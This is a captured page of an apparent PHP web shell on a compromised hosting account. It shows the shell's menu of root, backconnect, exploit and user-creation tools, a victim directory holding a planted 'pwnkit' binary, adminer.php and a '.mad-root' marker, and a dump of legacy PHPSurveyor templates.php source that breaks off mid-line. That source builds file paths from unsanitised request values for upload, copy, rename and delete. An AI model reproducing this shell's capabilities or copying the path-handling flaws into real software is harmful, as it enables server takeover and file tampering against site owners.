Linux webd123.cluster006.gra.hosting.ovh.net 5.15.162-ovh-vps-grsec-zfs-classid #1 SMP Mon Jul 15 08:28:44 UTC 2024 x86_64
Apache
: 10.6.40.122 | : 216.73.216.128
Cant Read [ /etc/named.conf ]
5.4.45
zouerate
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
zouerate /
ZOUERATE.COM /
formulaires /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
classes
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
.htaccess
139
B
-rwxr--r--
.htaccess.old
142
B
-rwxr--r--
.htpasswd
58
B
-rwxr--r--
.htpasswd.old
22
B
-rwxr--r--
.mad-root
0
B
-rw-r--r--
activate.php
20.19
KB
-rwxr--r--
admin.php
7.94
KB
-rwxr--r--
adminer.php
465.43
KB
-rw-r--r--
adminstyle.css
1.27
KB
-rwxr--r--
assessments.php
8.46
KB
-rwxr--r--
browse.php
25.36
KB
-rwxr--r--
checkfields.php
17.28
KB
-rwxr--r--
conditions.php
26.91
KB
-rwxr--r--
createdb.php
3.39
KB
-rwxr--r--
database.php
33.48
KB
-rwxr--r--
dataentry.php
88.65
KB
-rwxr--r--
dbchecker.php
15.31
KB
-rwxr--r--
dbedit.php
19.4
KB
-rwxr--r--
deactivate.php
6.03
KB
-rwxr--r--
deletesurvey.php
5.78
KB
-rwxr--r--
dumpdb.php
5.11
KB
-rwxr--r--
dumpgroup.php
6.25
KB
-rwxr--r--
dumplabel.php
4.62
KB
-rwxr--r--
dumpquestion.php
5.5
KB
-rwxr--r--
dumpsurvey.php
6.2
KB
-rwxr--r--
export.php
30.1
KB
-rwxr--r--
favicon.ico
894
B
-rwxr--r--
html.php
100.41
KB
-rwxr--r--
importgroup.php
21.69
KB
-rwxr--r--
importlabel.php
8.05
KB
-rwxr--r--
importoldresponses.php
4.94
KB
-rwxr--r--
importquestion.php
16.2
KB
-rwxr--r--
importsurvey.php
31.83
KB
-rwxr--r--
index.php
16.12
KB
-rwxr--r--
info.php
30
B
-rw-r--r--
labels.php
26.27
KB
-rwxr--r--
listcolumn.php
3.25
KB
-rwxr--r--
manual.html
389
B
-r--r--r--
navigator.php
90.1
KB
-rwxr--r--
phpsurveyor.css
5.73
KB
-rwxr--r--
printablesurvey.php
28.13
KB
-rwxr--r--
pwnkit
10.99
KB
-rwxr-xr-x
results.php
17.78
KB
-rwxr--r--
resultsdump.php
3.68
KB
-rwxr--r--
saved.php
6.22
KB
-rwxr--r--
sessioncontrol.php
2.07
KB
-rwxr--r--
spss.php
9.38
KB
-rwxr--r--
statistics.php
81.63
KB
-rwxr--r--
templates.php
30.72
KB
-rwxr--r--
tokens.php
61.79
KB
-rwxr--r--
usercontrol.php
7.28
KB
-rwxr--r--
vvexport.php
8.74
KB
-rwxr--r--
vvimport.php
8.67
KB
-rwxr--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : templates.php
<?php /* ############################################################# # >>> PHPSurveyor # ############################################################# # > Author: Jason Cleeland # # > E-mail: jason@cleeland.org # # > Mail: Box 99, Trades Hall, 54 Victoria St, # # > CARLTON SOUTH 3053, AUSTRALIA # # > Date: 20 February 2003 # # # # This set of scripts allows you to develop, publish and # # perform data-entry on surveys. # ############################################################# # # # Copyright (C) 2003 Jason Cleeland # # # # This program is free software; you can redistribute # # it and/or modify it under the terms of the GNU General # # Public License as published by the Free Software # # Foundation; either version 2 of the License, or (at your # # option) any later version. # # # # This program is distributed in the hope that it will be # # useful, but WITHOUT ANY WARRANTY; without even the # # implied warranty of MERCHANTABILITY or FITNESS FOR A # # PARTICULAR PURPOSE. See the GNU General Public License # # for more details. # # # # You should have received a copy of the GNU General # # Public License along with this program; if not, write to # # the Free Software Foundation, Inc., 59 Temple Place - # # Suite 330, Boston, MA 02111-1307, USA. # ############################################################# */ require_once(dirname(__FILE__).'/../config.php'); $file_version="PHPSurveyor Template Editor ".$versionnumber; $slstyle3=$slstyle2; if(get_magic_quotes_gpc()) { $_GET = array_map("stripslashes", $_GET); $_POST = array_map("stripslashes", $_POST); } if (!isset($templatename)) {$templatename = returnglobal('templatename');} if (!isset($templatedir)) {$templatedir = returnglobal('templatedir');} if (!isset($editfile)) {$editfile = returnglobal('editfile');} if (!isset($screenname)) {$screenname=returnglobal('screenname');} if (!isset($action)) {$action=returnglobal('action');} if ($action != "newtemplate" && !$templatename) {$templatename = "default";} $template_a=gettemplatelist(); foreach ($template_a as $tp) { $templates[]=array("name"=>$tp, "dir"=>$publicdir."/templates/".$tp); } unset($template_a); //PUBLIC LANGUAGE FILE $langdir="$publicdir/lang"; $langfilename="$langdir/$defaultlang.lang.php"; if (!is_file($langfilename)) {$langfilename="$langdir/$defaultlang.lang.php";} require($langfilename); //Save Changes if necessary if ($action=="savechanges" && $_POST['changes']) { $_POST['changes']=str_replace("\r\n", "\n", $_POST['changes']); if ($_POST['editfile']) { $savefilename=$publicdir."/templates/".$_POST['templatename']."/".$_POST['editfile']; if (is_writable($savefilename)) { if (!$handle = fopen($savefilename, 'w')) { echo "Could not open file ($savefilename)"; exit; } if (!fwrite($handle, $_POST['changes'])) { echo "Cannot write to file ($savefilename)"; exit; } fclose($handle); } else { echo "The file $savefilename is not writable"; } } } if ($action == "copy" && isset($_GET['newname']) && isset($_GET['copydir'])) { //Copies all the files from one template directory to a new one //This is a security issue because it is allowing copying from get variables... $newdirname=$publicdir."/templates/".$_GET['newname']; $copydirname=$publicdir."/templates/".$_GET['copydir']; $mkdirresult=mkdir_p($newdirname); if ($mkdirresult == 1) { $copyfiles=getListOfFiles($copydirname); foreach ($copyfiles as $file) { $copyfile=$copydirname."/".$file; $newfile=$newdirname."/".$file; if (!copy($copyfile, $newfile)) { echo "<script type=\"text/javascript\">\n<!--\nalert('Failed to copy $file to new template directory.');\n//-->\n</script>"; } } $templates[]=array("name"=>$_GET['newname'], "dir"=>$newdirname); $templatename=$_GET['newname']; } elseif($mkdirresult == 2) { echo "<script type=\"text/javascript\">\n<!--\nalert('Directory with the name `".$_GET['newname']."` already exists - choose another name');\n//-->\n</script>"; } else { echo "<script type=\"text/javascript\">\n<!--\nalert('Unable to create directory `".$_GET['newname']."`. Maybe you don't have permission.');\n//-->\n</script>"; } } if ($action == "rename" && isset($_GET['newname']) && isset($_GET['copydir'])) { $newdirname=$publicdir."/templates/".$_GET['newname']; $olddirname=$publicdir."/templates/".$_GET['copydir']; if (!rename($olddirname, $newdirname)) { echo "<script type=\"text/javascript\">\n<!--\nalert('Directory could not be renamed to `".$_GET['newname']."`. Maybe you don't have permission.');\n//-->\n</script>"; } else { $templates[]=array("name"=>$_GET['newname'], "dir"=>$newdirname); $templatename=$_GET['newname']; } } if ($action == "upload") { //Uploads the file into the appropriate directory $the_full_file_path = $publicdir."/templates/".$templatename . "/" . $_FILES['the_file']['name']; //This is where the temp file is if (!@move_uploaded_file($_FILES['the_file']['tmp_name'], $the_full_file_path)) { echo "<strong><font color='red'>"._ERROR."</font></strong><br />\n"; echo _IS_FAILUPLOAD."<br /><br />\n"; echo "<input $btstyle type='submit' value='"._GO_ADMIN."' onClick=\"window.open('$scriptname', '_top')\">\n"; echo "</td></tr></table>\n"; echo "</body>\n</html>\n"; exit; } } if ($action == "delete") { if ($_POST['otherfile'] != "chart.jpg") { $the_full_file_path = $publicdir."/templates/".$templatename . "/" . $_POST['otherfile']; //This is where the temp file is unlink($the_full_file_path); } } if ($action == "zip") { require("classes/phpzip/phpzip.inc.php"); $z = new PHPZip(); $templatedir="$publicdir/templates/$templatename/"; $zipfile="$tempdir/$templatename.zip"; $z -> Zip($templatedir, $zipfile); if (is_file($zipfile)) { //Send the file for download! header("Pragma: public"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Content-Type: application/force-download"); header( "Content-Disposition: attachment; filename=$templatename.zip" ); header( "Content-Description: File Transfer"); @readfile($zipfile); //Delete the temporary file unlink($zipfile); } } function mkdir_p($target){ //creates a new directory //Returns 1 for success // 2 for "directory/file by that name exists // 0 for other errors if(file_exists($target) || is_dir($target)) return 2; if(mkdir($target,0777)){ return 1; } if(mkdir_p(substr($target, 0, (strrpos($target, '/')))) == 1){ if(mkdir_p($target) == 1) return 1; else return 0; } else { return 0; } } function makeoptions($array, $value, $text, $selectedvalue) { $return=""; foreach ($array as $ar) { $return .= "<option value='".$ar[$value]."'"; if ($ar[$value] == $selectedvalue) { $return .= " selected"; } $return .= ">".$ar[$text]."</option>\n"; } return $return; } //Standard Template Files $files[]=array("name"=>"startpage.pstpl"); $files[]=array("name"=>"survey.pstpl"); $files[]=array("name"=>"welcome.pstpl"); $files[]=array("name"=>"startgroup.pstpl"); $files[]=array("name"=>"groupdescription.pstpl"); $files[]=array("name"=>"question.pstpl"); $files[]=array("name"=>"submit.pstpl"); $files[]=array("name"=>"privacy.pstpl"); $files[]=array("name"=>"completed.pstpl"); $files[]=array("name"=>"endgroup.pstpl"); $files[]=array("name"=>"navigator.pstpl"); $files[]=array("name"=>"endpage.pstpl"); $files[]=array("name"=>"clearall.pstpl"); $files[]=array("name"=>"register.pstpl"); $files[]=array("name"=>"load.pstpl"); $files[]=array("name"=>"save.pstpl"); $files[]=array("name"=>"assessment.pstpl"); $normalfiles=array("DUMMYENTRY", ".", ".."); foreach ($files as $fl) { $normalfiles[]=$fl["name"]; } $screens[]=array("name"=>_TP_WELCOMEPAGE); $screens[]=array("name"=>_TP_QUESTIONPAGE); $screens[]=array("name"=>_TP_SUBMITPAGE); $screens[]=array("name"=>_TP_COMPLETEDPAGE); $screens[]=array("name"=>_TP_CLEARALLPAGE); $screens[]=array("name"=>_TP_REGISTERPAGE); $screens[]=array("name"=>_TP_LOADPAGE); $screens[]=array("name"=>_TP_SAVEPAGE); //Page Display Instructions $Welcome=array("startpage.pstpl", "welcome.pstpl", "navigator.pstpl", "endpage.pstpl"); $Question=array("startpage.pstpl", "survey.pstpl", "startgroup.pstpl", "groupdescription.pstpl", "question.pstpl", "endgroup.pstpl", "navigator.pstpl", "endpage.pstpl"); $Submit=array("startpage.pstpl", "survey.pstpl", "submit.pstpl", "privacy.pstpl", "navigator.pstpl", "endpage.pstpl"); $Completed=array("startpage.pstpl", "assessment.pstpl", "completed.pstpl", "endpage.pstpl"); $Clearall=array("startpage.pstpl", "clearall.pstpl", "endpage.pstpl"); $Register=array("startpage.pstpl", "survey.pstpl", "register.pstpl", "endpage.pstpl"); $Save=array("startpage.pstpl", "save.pstpl", "endpage.pstpl"); $Load=array("startpage.pstpl", "load.pstpl", "endpage.pstpl"); //CHECK ALL FILES EXIST, AND IF NOT - COPY IT FROM DEFAULT DIRECTORY foreach ($files as $file) { $thisfile="$publicdir/templates/$templatename/".$file['name']; if (!is_file($thisfile)) { $copyfile="$publicdir/templates/default/".$file['name']; $newfile=$thisfile; if (!@copy($copyfile, $newfile)) { echo "<script type=\"text/javascript\">\n<!--\nalert('Failed to copy ".$file['name']." to new template directory.');\n//-->\n</script>"; } } } //Load this editfile function filetext($templatefile) { global $publicdir, $templatename; $output=""; foreach(file("$publicdir/templates/$templatename/$templatefile") as $line) { $output .= $line; } return $output; } function makegraph($thisstep, $total) { global $templatedir, $publicurl, $templatename; $chart="$publicurl/templates/$templatedir/chart.jpg"; if (!is_file($chart)) {$shchart="chart.jpg";} else {$shchart = "$publicurl/templates/$templatedir/chart.jpg";} $graph = "<table class='graph' width='100' align='center' cellpadding='2'><tr><td>\n"; $graph .= "<table width='180' align='center' cellpadding='0' cellspacing='0' border='0' class='innergraph'>\n"; $graph .= "<tr><td align='right' width='40'>0%</td>\n"; $size=intval(($thisstep-1)/$total*100); //$graph .= "<td width='100' align='left'><img src='$shchart' height='12' width='$size' align='left' alt='$size% "._COMPLETE."'></td>\n"; $graph .= "<td width='100' align='left'><img src='$publicurl/templates/$templatename/$shchart' " ."height='12' width='$size' align='left' alt='$size% complete'></td>\n"; $graph .= "<td align='left' width='40'>100%</td></tr>\n"; $graph .= "</table>\n"; $graph .= "</td></tr>\n</table>\n"; return $graph; } if (!$screenname) {$screenname=_TP_WELCOMEPAGE;} if ($screenname != _TP_WELCOMEPAGE) {$_SESSION['step']=1;} else {unset($_SESSION['step']);} //This helps handle the load/save buttons if ($screenname == _TP_SUBMITPAGE) {$_POST['move'] = " "._LAST." ";} //FAKE DATA FOR TEMPLATES $thissurvey['name']="Template Sample"; $thissurvey['description']="This is a sample survey description. It could be quite long.<br /><br />But this one isn't."; $thissurvey['welcome']="Welcome to this sample survey.<br />\n You should have a great time doing this<br />"; $thissurvey['allowsave']="Y"; $thissurvey['templatedir']=$templatename; $thissurvey['format']="G"; $thissurvey['url']="http://www.phpsurveyor.org/"; $thissurvey['urldescrip']="A URL Description"; $percentcomplete=makegraph(6, 10); $groupname="Group 1: The first lot of questions"; $groupdescription="This group description is fairly vacuous, but quite important."; $navigator="<input class='submit' type='submit' value=' next >> ' name='move' />"; if ($screenname != _TP_WELCOMEPAGE) {$navigator = "<input class='submit' type='submit' value=' << prev ' name='move' />\n".$navigator;} $help="This is some help text"; $totalquestions="10"; $surveyformat="Format"; $completed="Survey is completed and saved."; $notanswered="5"; $privacy=""; $surveyid="1295"; $token=1234567; $assessments="<table align='center'><tr><th>Assessment Heading</th></tr><tr><td align='center'>Assessment details<br />Note that assessments will only show if assessment rules have been set. Otherwise, this assessment table will not appear</td></tr></table>"; $addbr=false; switch($screenname) { case _TP_QUESTIONPAGE: unset($files); foreach ($Question as $qs) { $files[]=array("name"=>$qs); } $myoutput[]="<meta http-equiv=\"expires\" content=\"Wed, 26 Feb 1997 08:21:57 GMT\">\n"; $myoutput[]="<meta http-equiv=\"Last-Modified\" content=\"".gmdate('D, d M Y H:i:s'). " GMT\">\n"; $myoutput[]="<meta http-equiv=\"Cache-Control\" content=\"no-store, no-cache, must-revalidate\">\n"; $myoutput[]="<meta http-equiv=\"Cache-Control\" content=\"post-check=0, pre-check=0, false\">\n"; $myoutput[]="<meta http-equiv=\"Pragma\" content=\"no-cache\">\n"; $myoutput = array_merge($myoutput, doreplacement("$publicdir/templates/$templatename/startpage.pstpl")); $myoutput = array_merge($myoutput, doreplacement("$publicdir/templates/$templatename/survey.pstpl")); $myoutput = array_merge($myoutput, doreplacement("$publicdir/templates/$templatename/startgroup.pstpl")); $myoutput = array_merge($myoutput, doreplacement("$publicdir/templates/$templatename/groupdescription.pstpl")); $question="How many roads must a man walk down?"; $questioncode="1a"; $answer="<input type='radio' name='1' value='1' id='radio1'><label class='answertext' for='radio1'>One</label><br /><input type='radio' name='1' value='2' id='radio2'><label class='answertext' for='radio2'>Two</label><br /><input type='radio' name='1' value='3' id='radio3'><label class='answertext' for='radio3'>Three</label><br />\n"; $myoutput = array_merge($myoutput, doreplacement("$publicdir/templates/$templatename/question.pstpl")); $question="Please explain your details:"; $questioncode="2"; $answer="<textarea class='textarea'>Some text in this answer</textarea>"; $myoutput = array_merge($myoutput, doreplacement("$publicdir/templates/$templatename/question.pstpl")); $myoutput = array_merge($myoutput, doreplacement("$publicdir/templates/$templatename/endgroup.pstpl")); $myoutput = array_merge($myoutput, doreplacement("$publicdir/templates/$templatename/navigator.pstpl")); $myoutput = array_merge($myoutput, doreplacement("$publicdir/templates/$templatename/endpage.pstpl")); break; case _TP_WELCOMEPAGE: unset($files); $myoutput[]=""; foreach ($Welcome as $qs) { $files[]=array("name"=>$qs); $myoutput = array_merge($myoutput, doreplacement("$publicdir/templates/$templatename/$qs")); } break; case _TP_REGISTERPAGE: unset($files); foreach($Register as $qs) { $files[]=array("name"=>$qs); } foreach(file("$publicdir/templates/$templatename/startpage.pstpl") as $op) { $myoutput[]=templatereplace($op); } foreach(file("$publicdir/templates/$templatename/survey.pstpl") as $op) { $myoutput[]=templatereplace($op); } foreach(file("$publicdir/templates/$templatename/register.pstpl") as $op) { $myoutput[]=templatereplace($op); } foreach(file("$publicdir/templates/$templatename/endpage.pstpl") as $op) { $myoutput[]=templatereplace($op); } $myoutput[]= "\n"; break; case _TP_SAVEPAGE: unset($files); foreach($Save as $qs) { $files[]=array("name"=>$qs); } foreach(file("$publicdir/templates/$templatename/startpage.pstpl") as $op) { $myoutput[]=templatereplace($op); } foreach(file("$publicdir/templates/$templatename/save.pstpl") as $op) { $myoutput[]=templatereplace($op); } foreach(file("$publicdir/templates/$templatename/endpage.pstpl") as $op) { $myoutput[]=templatereplace($op); } $myoutput[]= "\n"; break; case _TP_LOADPAGE: unset($files); foreach($Load as $qs) { $files[]=array("name"=>$qs); } foreach(file("$publicdir/templates/$templatename/startpage.pstpl") as $op) { $myoutput[]=templatereplace($op); } foreach(file("$publicdir/templates/$templatename/load.pstpl") as $op) { $myoutput[]=templatereplace($op); } foreach(file("$publicdir/templates/$templatename/endpage.pstpl") as $op) { $myoutput[]=templatereplace($op); } $myoutput[]= "\n"; break; case _TP_CLEARALLPAGE: unset($files); foreach ($Clearall as $qs) { $files[]=array("name"=>$qs); } foreach(file("$publicdir/templates/$templatename/startpage.pstpl") as $op) { $myoutput[]=templatereplace($op); } foreach(file("$publicdir/templates/$templatename/clearall.pstpl") as $op) { $myoutput[]=templatereplace($op); } foreach(file("$publicdir/templates/$templatename/endpage.pstpl") as $op) { $myoutput[]=templatereplace($op); } $myoutput[]= "\n"; break; case _TP_SUBMITPAGE: unset($files); $myoutput[]=""; foreach ($Submit as $qs) { $files[]=array("name"=>$qs); $myoutput = array_merge($myoutput, doreplacement("$publicdir/templates/$templatename/$qs")); } break; case _TP_COMPLETEDPAGE: unset($files); $myoutput[]=""; foreach ($Completed as $qs) { $files[]=array("name"=>$qs); $myoutput = array_merge($myoutput, doreplacement("$publicdir/templates/$templatename/$qs")); } break; } $myoutput[]="</html>"; function doreplacement($file) { //Produce sample page from template file $output=array(); foreach(file($file) as $op) { $output[]=templatereplace($op); } return $output; } if (is_array($files)) { $match=0; foreach ($files as $f) { if ($editfile == $f["name"]) { $match=1; } } if ($match != 1) { if (count($files) == 1) { $editfile=$files[0]["name"]; } else { $editfile=""; } } } //Get list of 'otherfiles' $dirloc=$publicdir."/templates/".$templatename; if ($handle = opendir($dirloc)) { while(false !== ($file = readdir($handle))) { if (!array_search($file, $normalfiles)) { if (!is_dir("$dirloc/$file")) { $otherfiles[]=array("name"=>$file); } } } // while closedir($handle); } //**************************************************************** //** OUTPUT STARTS HERE //**************************************************************** sendcacheheaders(); echo $htmlheader; echo "<script type='text/javascript'>\n" ."<!--\n" ."function copyprompt(text, defvalue, copydirectory, action)\n" ."\t{\n" ."\tif (newtemplatename=window.prompt(text, defvalue))\n" ."\t\t{\n" ."\t\tvar url='templates.php?action='+action+'&newname='+newtemplatename+'&copydir='+copydirectory;\n" ."\t\twindow.open(url, '_top');\n" ."\t\t}\n" ."\t}\n" ."//-->\n</script>\n"; echo "<table width='100%' border='0' bgcolor='#DDDDDD'>\n" . "\t<tr>\n" . "\t\t<td>\n" . "\t\t\t<table width='100%' style='border: 1px solid #555555' cellpadding='1' cellspacing='0'>\n" . "\t\t\t<tr bgcolor='#555555'>\n" . "\t\t\t\t<td colspan='2' height='8'>\n" . "\t\t\t\t\t$setfont<font size='1' color='white'><strong>".$file_version."</strong>\n" . "\t\t\t\t</font></font></td>\n" . "\t\t\t</tr>\n" . "\t\t\t<tr bgcolor='#999999'>\n" . "\t\t\t\t<td>\n" . "\t\t\t\t\t<input type='image' src='$imagefiles/home.gif' name='HomeButton' alt='" . _A_HOME_BT."' title='" . _A_HOME_BT."' align='left' onClick=\"window.open('$scriptname', '_top')\">\n" . "\t\t\t\t\t<img src='$imagefiles/blank.gif' alt='' width='11' border='0' hspace='0' align='left'>\n" . "\t\t\t\t\t<img src='$imagefiles/seperator.gif' alt='' border='0' hspace='0' align='left'>" . "\t\t\t\t\t<img src='$imagefiles/blank.gif' alt='' width='60' height='10' border='0' hspace='0' align='left'>\n" . "\t\t\t\t\t<img src='$imagefiles/seperator.gif' alt='' border='0' hspace='0' align='left'>" ."</td><td align='right'>\n" ."<img src='$imagefiles/blank.gif' align='right' border='0' hspace='0' width='60' height='10' alt=''>" ."<img src='$imagefiles/seperator.gif' align='right' alt='' border='0' hspace='0'>" ."<input type='image' src='$imagefiles/add.gif' align='right' title='"._TP_CREATENEW."' " ."onClick=\"javascript: copyprompt('"._TP_NEWTEMPLATECALLED."', '"._TP_DEFAULTNEWTEMPLATE."', 'default', 'copy')\">" ."<font face='verdana' size='2' color='white'><strong>"._SL_TEMPLATE."</strong> </font>" ."<select $slstyle name='templatedir' onchange='javascript: window.open(\"templates.php?editfile=$editfile&screenname=$screenname&templatename=\"+this.value, \"_top\")'>\n" .makeoptions($templates, "name", "name", $templatename) ."</select> \n" ."</td></tr></table>\n" ."<table><tr><td height='1'></td></tr></table>\n"; //TEMPLATE DETAILS echo "\t\t\t<table width='100%' style='border: 1px solid #555555' cellpadding='1' cellspacing='0'>\n" . "\t\t\t<tr bgcolor='#555555'>\n" . "\t\t\t\t<td colspan='2' height='8'>\n" . "\t\t\t\t\t$setfont<font size='1' color='white'><strong>"._SL_TEMPLATE." <i>$templatename</i></strong>\n" . "\t\t\t\t</font></font></td>\n" . "\t\t\t</tr>\n" . "\t\t\t<tr bgcolor='#999999'>\n" . "\t\t\t\t<td>\n"; if (is_writable("$publicdir/templates/$templatename")) { echo "\t\t\t\t\t<img src='$imagefiles/trafficgreen.gif' alt='"._TP_CANMODIFY."' hspace='0' align='left'>\n"; } else { echo "\t\t\t\t\t<img src='$imagefiles/trafficred.gif' alt='"._TP_CANNOTMODIFY."' hspace='0' align='left'>\n"; } echo "\t\t\t\t\t<img src='$imagefiles/blank.gif' alt='' width='11' border='0' hspace='0' align='left'>\n" ."\t\t\t\t\t<img src='$imagefiles/seperator.gif' alt='' border='0' hspace='0' align='left'>\n" ."\t\t\t\t\t<img src='$imagefiles/blank.gif' alt='' width='60' height='10' border='0' hspace='0' align='left'>\n" ."\t\t\t\t\t<img src='$imagefiles/seperator.gif' alt='' border='0' hspace='0' align='left'>\n" ."\t\t\t\t\t<input type='image' name='EditName' src='$imagefiles/edit.gif' align='left' title='"._TP_RENAME."'" ." onClick=\"javascript: copyprompt('"._TP_RENAMETO."', '$templatename', '$templatename', 'rename')\""; if ($templatename == "default") {echo " disabled";} echo ">"; echo "\t\t\t\t\t<img src='$imagefiles/blank.gif' alt='' width='20' height='10' border='0' hspace='0' align='left'>\n" ."\t\t\t\t\t<input type='image' name='Export' src='$imagefiles/export.gif' align='left' title='"._TP_EXPORT."'" ." onClick='javascript:window.open(\"templates.php?action=zip&editfile=$editfile&screenname=$screenname&templatename=$templatename\", \"_top\")'>\n" ."\t\t\t\t\t<img src='$imagefiles/seperator.gif' alt='' border='0' hspace='0' align='left'>\n" ."\t\t\t\t\t<input type='image' name='MakeCopy' src='$imagefiles/copy.gif' align='left' title='"._TP_COPY."'" ." onClick=\"javascript: copyprompt('"._TP_COPYTO."', '"._TP_COPYOF."$templatename', '$templatename', 'copy')\">" ."</td><td align='right'>\n" ."<img src='./images/blank.gif' align='right' alt='' border='0' hspace='0' width='60' height='10'>" ."<img src='$imagefiles/seperator.gif' align='right' alt='minimise' border='0' hspace='0'>" ."<img src='$imagefiles/blank.gif' width='23' align='right' alt='minimise' border='0' hspace='0'>" ."<font face='verdana' size='2' color='white'><strong>"._TP_SCREEN."</strong> </font>" . "<select name='screenname' $slstyle onchange='javascript: window.open(\"templates.php?templatename=$templatename&editfile=$editfile&screenname=\"+this.value, \"_top\")'>\n" . makeoptions($screens, "name", "name", $screenname) . "</select> \n" ."</td></tr></table>\n" ."<table><tr><td height='1'></td></tr></table>\n"; //FILE CONTROL DETAILS echo "\t\t\t<table width='100%' style='border: 1px solid #555555' cellpadding='1' cellspacing='0'>\n" . "\t\t\t<tr bgcolor='#555555'>\n" . "\t\t\t\t<td colspan='2' height='8'>\n" . "\t\t\t\t\t$setfont<font size='1' color='white'><strong>"._TP_FILECONTROL."</strong>\n" . "\t\t\t\t</font></font></td>\n" . "\t\t\t</tr>\n" . "\t\t\t<tr bgcolor='#999999'>" . "\t\t\t\t<td align='center' bgcolor='#DDDDDD'>\n"; echo "\t\t\t\t<table width='100%' border='0'>\n" ."\t\t\t\t\t<tr>\n" ."\t\t\t\t\t\t<td align='center' valign='top' width='80%'>" . "<form name='editTemplate' method='post' action='templates.php'>\n" . "\t\t\t<input type='hidden' name='templatename' value='$templatename' />\n" . "\t\t\t<input type='hidden' name='screenname' value='$screenname' />\n" . "\t\t\t<input type='hidden' name='editfile' value='$editfile' />\n" . "\t\t\t<input type='hidden' name='action' value='savechanges' />\n" . "\t\t\t\t<table width='100%' align='center'><tr><td>" ."$setfont<strong>"._TP_STANDARDFILES."</strong><font size='1'><br />\n" ."<select size='12' $slstyle2 name='editfile' onChange='javascript: window.open(\"templates.php?templatename=$templatename&screenname=$screenname&editfile=\"+this.value, \"_top\")'>\n" .makeoptions($files, "name", "name", $editfile) ."</select><br /><br />\n" ."\t\t\t\t\t\t</font></font></td>\n" ."\t\t\t\t\t\t<td align='center' valign='top'>" ."$setfont<strong>"._TP_NOWEDITING; if (trim($editfile)!='') {echo " <i>$editfile</i>";} echo "</strong><font size='1'><br />\n" ."<textarea $slstyle3 name='changes' id='changes' cols='110' rows='12'>"; if ($editfile) { echo textarea_encode(filetext($editfile)); } echo "</textarea><br />\n"; if (is_writable("$publicdir/templates/$templatename")) { echo "<input $btstyle align='right' type='submit' value='Save Changes'"; if ($templatename == "default") { echo " disabled"; } echo ">"; } echo "<br />\n" . "</font></font></td></tr></table></form></td>\n" ."\t\t\t\t\t\t<td valign='top' align='right' width='20%'><form action='templates.php' method='post'>" ."<table width='90' align='right' border='0' cellpadding='0' cellspacing='0'>\n<tr><td align='right'>" . "$setfont<strong>"._TP_OTHERFILES."</strong></font><br />\n" //. "<iframe width='100%' height='140' src=\"templates.html\"></iframe>" . "<select size='9' $slstyle2 name='otherfile' id='otherfile'>\n" .makeoptions($otherfiles, "name", "name", "") ."</select>" ."</td></tr><tr><td align='right'>$setfont" ."<input type='submit' value='"._TP_DELETEFILE."' $btstyle onClick=\"javascript:return confirm('Are you sure you want to delete this file?')\""; if ($templatename == "default") { echo " disabled"; } echo "></font>\n" ."<input type='hidden' name='editfile' value='$editfile'>\n" ."<input type='hidden' name='screenname' value='$screenname'>\n" ."<input type='hidden' name='templatename' value='$templatename'>\n" ."<input type='hidden' name='action' value='delete'>\n" ."</td>\n" ."</table></form></td></tr><tr><td></td><td align='right' valign='top'>" ."<form enctype='multipart/form-data' name='importsurvey' action='templates.php' method='post'>\n" ."<table><tr $btstyle> <td align='right' valign='top' style='border: solid 1 #000080'>\n" ."<input $btstyle name=\"the_file\" type=\"file\" size=\"7\"><br />" ."<input type='submit' value='"._TP_UPLOADFILE."' $btstyle"; if ($templatename == "default") { echo " disabled"; } echo ">\n" ."<input type='hidden' name='editfile' value='$editfile'>\n" ."<input type='hidden' name='screenname' value='$screenname'>\n" ."<input type='hidden' name='templatename' value='$templatename'>\n" ."<input type='hidden' name='action' value='upload'>\n" ."</td></table></form>\n" ."\t\t\t\t\t\t</td>\n" ."\t\t\t\t\t</tr>\n" ."\t\t\t\t</table>\n" ."\t\t\t</td>\n" ."\t</tr>" ."</table>" ."</table>"; //SAMPLE ROW echo "\t\t\t<table width='100%' style='border: 1px solid #555555' cellpadding='1' cellspacing='0'>\n" . "\t\t\t<tr bgcolor='#555555'>\n" . "\t\t\t\t<td colspan='2' height='8'>\n" . "\t\t\t\t\t$setfont<font size='1' color='white'><strong>"._TP_PREVIEW."</strong>\n" . "\t\t\t\t</font></font></td>\n" . "\t\t\t</tr>\n" ."\t<tr>\n" ."\t\t<td width='90%' align='center' bgcolor='#555555'>\n"; unlink_wc($tempdir, "template_temp_*.html"); //Delete any older template files $time=date("ymdHis"); $fnew=fopen("$tempdir/template_temp_$time.html", "w+"); fwrite ($fnew, getHeader()); foreach($myoutput as $line) { fwrite($fnew, $line); } fclose($fnew); $langdir_template="$homeurl/lang/$defaultlang"; echo "<br />\n" ."<iframe src='$tempurl/template_temp_$time.html' width='95%' height='400' name='sample' style='background-color: white'>Embedded Frame</iframe>\n" ."<br /> <br />" ."</td></tr></table>\n" .getAdminFooter("$langdir_template/instructions.html#Templates", ""); function unlink_wc($dir, $pattern){ if ($dh = opendir($dir)) { //List and put into an array all files while (false !== ($file = readdir($dh))){ if ($file != "." && $file != "..") { $files[] = $file; } } closedir($dh); //Split file name and extenssion if(strpos($pattern,".")) { $baseexp=substr($pattern,0,strpos($pattern,".")); $typeexp=substr($pattern,strpos($pattern,".")+1,strlen($pattern)); }else{ $baseexp=$pattern; $typeexp=""; } //Escape all regexp Characters $baseexp=preg_quote($baseexp); $typeexp=preg_quote($typeexp); // Allow ? and * $baseexp=str_replace(array("\*","\?"), array(".*","."), $baseexp); $typeexp=str_replace(array("\*","\?"), array(".*","."), $typeexp); //Search for pattern match $i=0; foreach($files as $file) { $filename=basename($file); if(strpos($filename,".")) { $base=substr($filename,0,strpos($filename,".")); $type=substr($filename,strpos($filename,".")+1,strlen($filename)); }else{ $base=$filename; $type=""; } if(preg_match("/^".$baseexp."$/i",$base) && preg_match("/^".$typeexp."$/i",$type)) { $matches[$i]=$file; $i++; } } if (isset($matches)) { while(list($idx,$val) = each($matches)){ if (substr($dir,-1) == "/"){ unlink($dir.$val); }else{ unlink($dir."/".$val); } } } } } function getListOfFiles($wh){ //Returns an array containing all files in a directory if ($handle = opendir($wh)) { while (false !== ($file = readdir($handle))) { if ($file != "." && $file != 